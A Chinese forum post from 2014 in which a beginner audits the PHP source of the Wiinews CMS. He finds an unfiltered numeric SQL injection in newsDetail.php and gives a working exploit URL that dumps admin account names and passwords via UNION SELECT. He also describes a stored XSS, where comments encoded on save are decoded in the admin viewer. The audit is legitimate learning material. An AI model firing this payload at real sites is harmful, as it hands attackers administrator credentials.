本帖最后由 匿名 于 2014-12-15 10:16 编辑
前言:分析的这套CMS比较垃圾,名字叫Wiinews,但也算小弟的第一次代码审计. 第一次发帖,文中有诸多不足.希望大家多多指点.小弟QQ 424237301,爱学习爱基友,希望能与大家共同学习交流!
最近闲的一B,于是昨天去chinaz找了一个cms想审计下
可以看到,已经带入数据库查询了.
看下源码.
[PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php
$id =sqlReplace(Trim( $_GET [ 'id' ]));
$sqlStr = "select * from wiinews_news where news_id=$id" ;
$result = mysql_query( $sqlStr ) or die ( "查询失败,请检查SQL语句。编码号:1010" );
$row = mysql_fetch_array( $result );
if ( $row ){
$title = $row [ 'news_title' ];
$subtitle = $row [ 'news_subtitle' ];
$sort = $row [ 'news_sort' ];
$name = $row [ 'news_name' ];
$desc = $row [ 'news_desc' ];
$content = $row [ 'news_content' ];
$author = $row [ 'news_author' ];
$source = $row [ 'news_source' ];
$url1 = $row [ 'news_url' ];
$addTime = $row [ 'news_addTime' ];
$newsStatus = $row [ 'news_status' ];
$pic = $row [ 'news_picture' ];
$comCount = $row [ 'news_comCount' ];
} else {
die ( "新闻不存在。" );
}
if ( $newsStatus == "1" )
die ( "新闻处于待审核状态" );
?>
|
红色标记的sqlReplace()应该是对传入的参数做过滤的,看看他是怎么过虑的,找到function.php
[PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | function sqlReplace( $str )
{
$strResult = $str ;
if (!get_magic_quotes_gpc())
{
$strResult = addslashes ( $strResult );
}
return HTMLEncode( $strResult );
}
function HTMLEncode( $str ){
if (! empty ( $str )){
$str = str_replace ( "&" , "&" , $str );
$str = str_replace ( ">" , ">" , $str );
$str = str_replace ( "<" , "<" , $str );
$str = str_replace ( CHR (32), " " , $str );
$str = str_replace ( CHR (9), " " , $str );
$str = str_replace ( CHR (9), " " , $str );
$str = str_replace ( CHR (34), """ , $str );
$str = str_replace ( CHR (39), "'" , $str );
$str = str_replace ( CHR (13), "" , $str );
$str = str_replace ( CHR (10), "<br/>" , $str );
}
return $str ;
}
|
这里他把一些字符给过滤了, = = 看着怎么好像……
来试试吧,咱们这里是数字型注入.所以应该是可以的.
exp : [AppleScript] 纯文本查看 复制代码 1 | http : / / localhost / xw / newsDetail.php? id = 2 / * * / and / * * / 1 = 2 / * * / union / * * / select / * * / 1 , 2 , admin_account , admin_password , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 , 19 , 20 / * * / from / * * / Wiinews_admin
|
还有其他很多地方也有注入,比如搜索栏.
但是想一想.搜索栏搜索是怎样一条语句?
Select * from table_name where news_title like ‘%搜索%’
如果注入的话,好像没办法避免单引号一类的.
另外在新闻下面可以评论的.
可以试试评论有xss一类的洞洞没.
看下源码是怎么做的.
[PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <?php
$action = $_GET [ "act" ];
switch ( $action ){
case "post" :
$id =Trim( $_GET [ "id" ]);
$comment =HTMLEncode( $_POST [ "comment" ]);
if ( empty ( $comment )) {
die ( "评论不能为空。<a href='newsDetail.php?id=" . $id . "'>返回</a>" );
}
if ( strlen ( $comment )>420){
die ( "评论不能超过140字。<a href='newsDetail.php?id=" . $id . "'>返回</a>" );
}
$sql = "insert into wiinews_comment(comment_news,comment_name,comment_addTime,comment_ip,comment_content,comment_status) values ('" . $id . "','admin','" . date ( "Y:m:d H:i:s" ). "','" . $_SERVER ['REMOTE_ADDR ']."' , '".$comment."' , '".$commentCheck."' )";
if (mysql_query( $sql )) {
$sqlStr = "update wiinews_news set news_comCount=news_comCount+1 where news_id='" . $id . "'" ;
mysql_query( $sqlStr );
if ( $commentCheck == "1" ){
echo "评论需审核,请等待...<a href='newsDetail.php?id=" . $id . "'>返回</a>" ;
} else {
echo "评论成功!<a href='newsDetail.php?id=" . $id . "'>返回</a>" ;
}
} else {
echo "评论失败!<a href='newsDetail.php?id=" . $id . "'>返回</a>" ;
}
break ;
}
?>
|
红色标记.原来是这样. HTMLEncode()
可是,可是。
当我手贱的打开后台留言板的时候却。。
这是什么情况?
继续看代码.
commentDetail.php
[PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <?php
$id =sqlReplace(Trim( $_GET [ 'id' ]));
if ( empty ( $id )){
alertInfo( "非法访问" , '' ,1);
} else {
$sqlStr = "select * from wiinews_comment where comment_id=" . $id ;
$result = mysql_query( $sqlStr );
$row = mysql_fetch_array( $result );
if ( $row )
{
$news = $row [ 'comment_news' ];
$name = $row [ 'comment_name' ];
$ip = $row [ 'comment_ip' ];
$addTime = $row [ 'comment_addTime' ];
$content = $row [ 'comment_content' ];
$status = $row [ 'comment_status' ];
}
}
$sqlStr1 = "select * from wiinews_news where news_id=$news" ;
$result1 = mysql_query( $sqlStr1 );
$row1 = mysql_fetch_array( $result1 );
if ( $row1 )
{
$newsName = $row1 [ 'news_title' ];
}
?>
|
看着没什么问题嘛。。。。
但是。。
往下面继续看。。
[PHP] 纯文本查看 复制代码 1 2 3 4 5 6 7 8 | <div class = "fromcontent" >
<p>评论人姓名:<?php echo $name ; ?></p>
<p>评论人IP:<?php echo $ip ; ?></p>
<p>评论时间:<?php echo $addTime ;?></p>
<p>评论所属新闻:<?php echo $newsName ; ?></p>
<p>内容: [<a href= "news_do.php?act=del1&s=<?php echo $id?>" >删除</a>] <?php If ( $status == "1" ) {?> [<a href= "news_do.php?act=check&id=<?php echo $id?>" >审核通过</a>] <?php }?></p>
<hr/>
<?php echo HTMLDecode( $content );?>
|
他最后把编码后的内容给还原了? 还原了?还原了?
不习惯看贴的,这边有附件。可以自行下载.
文章.doc
(324.5 KB, 下载次数: 9)
|